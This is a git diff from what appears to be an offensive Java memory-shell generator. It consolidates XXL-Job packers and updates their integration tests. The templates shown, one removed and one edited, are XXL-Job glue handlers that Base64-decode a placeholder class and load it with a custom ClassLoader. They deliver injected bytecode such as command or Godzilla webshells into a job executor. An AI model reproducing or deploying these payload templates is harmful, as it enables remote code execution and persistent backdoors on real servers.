diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java
index fe3cffa7..34c6d67f 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packer.java
@@ -84,13 +84,9 @@ public interface Packer {
 
         Velocity(new VelocityPacker()),
 
-
-
         AgentJar(new AgentJarPacker()),
 
         XxlJob(new XxlJobPacker()),
-
-        XxlJob230(new XxlJob230Packer()),
         ;
         private final Packer packer;
 
diff --git a/generator/src/main/resources/XXL-Job-DefineClass-230.java b/generator/src/main/resources/XXL-Job-DefineClass-230.java
deleted file mode 100644
index 3d3294d9..00000000
--- a/generator/src/main/resources/XXL-Job-DefineClass-230.java
+++ /dev/null
@@ -1,30 +0,0 @@
-import com.xxl.job.core.handler.IJobHandler;
-
-import java.util.Base64;
-
-public class DemoGlueJobHandler extends IJobHandler {
-
-    public static class Definder extends ClassLoader {
-        public Definder() {
-            super(Thread.currentThread().getContextClassLoader());
-        }
-
-        public Class<?> defineClass(byte[] bytes) {
-            return defineClass(null, bytes, 0, bytes.length);
-        }
-    }
-
-    public void execute() throws Exception {
-        String base64Str = "{{base64Str}}";
-        String className = "{{className}}";
-        try {
-            Class.forName(className);
-        } catch (ClassNotFoundException e) {
-            try {
-                new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance();
-            } catch (Throwable ee) {
-                ee.printStackTrace();
-            }
-        }
-    }
-}
diff --git a/generator/src/main/resources/XXL-Job-DefineClass.java b/generator/src/main/resources/XXL-Job-DefineClass.java
index 40b8ac22..3088ba5c 100644
--- a/generator/src/main/resources/XXL-Job-DefineClass.java
+++ b/generator/src/main/resources/XXL-Job-DefineClass.java
@@ -1,6 +1,8 @@
 import com.xxl.job.core.biz.model.ReturnT;
 import com.xxl.job.core.handler.IJobHandler;
 
+import java.util.Base64;
+
 public class DemoGlueJobHandler extends IJobHandler {
 
     public static class Definder extends ClassLoader {
@@ -13,6 +15,10 @@ public class DemoGlueJobHandler extends IJobHandler {
         }
     }
 
+    public void execute() throws Exception {
+        execute(null)
+    }
+
     public ReturnT<String> execute(String param) throws Exception {
         String base64Str = "{{base64Str}}";
         String className = "{{className}}";
@@ -20,23 +26,11 @@ public class DemoGlueJobHandler extends IJobHandler {
             Class.forName(className);
         } catch (ClassNotFoundException e) {
             try {
-                new Definder().defineClass(decodeBase64(base64Str)).newInstance();
+                new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance();
             } catch (Throwable ee) {
                 ee.printStackTrace();
             }
         }
         return ReturnT.SUCCESS;
     }
-
-    public static byte[] decodeBase64(String base64Str) throws Exception {
-        Class<?> decoderClass;
-        try {
-            decoderClass = Class.forName("java.util.Base64");
-            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
-            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
-        } catch (Exception ignored) {
-            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-        }
-    }
 }
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java
index 06ba5daf..d2c5a097 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java
@@ -144,7 +144,6 @@ public class ShellAssertionTool {
             case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
             case Base64 -> VulTool.postData(url + "/b64", content);
             case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
-            case XxlJob230 -> VulTool.xxlJobExecutor(url + "/run", content);
         }
     }
 }
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java
index 321f4f5f..385ba476 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java
@@ -39,8 +39,8 @@ public class XxlJob230ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob230),
-                arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob230)
+                arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob),
+                arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob)
         );
     }